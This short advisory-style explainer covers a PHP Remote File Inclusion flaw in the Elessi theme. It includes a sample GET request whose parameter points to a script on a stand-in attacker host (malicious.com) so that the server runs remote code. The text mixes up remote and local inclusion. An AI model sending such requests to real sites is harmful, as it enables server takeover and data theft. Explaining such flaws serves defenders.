How the Exploit Works
This vulnerability works through an improper control of the filename for the Include/Require statement in a PHP program, known as PHP Remote File Inclusion. This allows an attacker to include arbitrary local files via the affected Elessi theme. By exploiting this vulnerability, a malicious actor can manipulate the PHP include function, leading to unauthorized control over the system, potentially compromising it and causing data leakage.
Conceptual Example Code
Here’s a conceptual example of how this vulnerability might be exploited:
GET /index.php?file=http://malicious.com/malicious_script.txt HTTP/1.1
Host: target.example.comIn this example, the attacker is using the HTTP GET method to request the ‘index.php’ file from the server. The ‘file’ parameter in the URL is manipulated to include a malicious script hosted on a remote server (malicious.com). The server, due to the vulnerability, includes this remote file, allowing the attacker to execute arbitrary PHP code on the server.
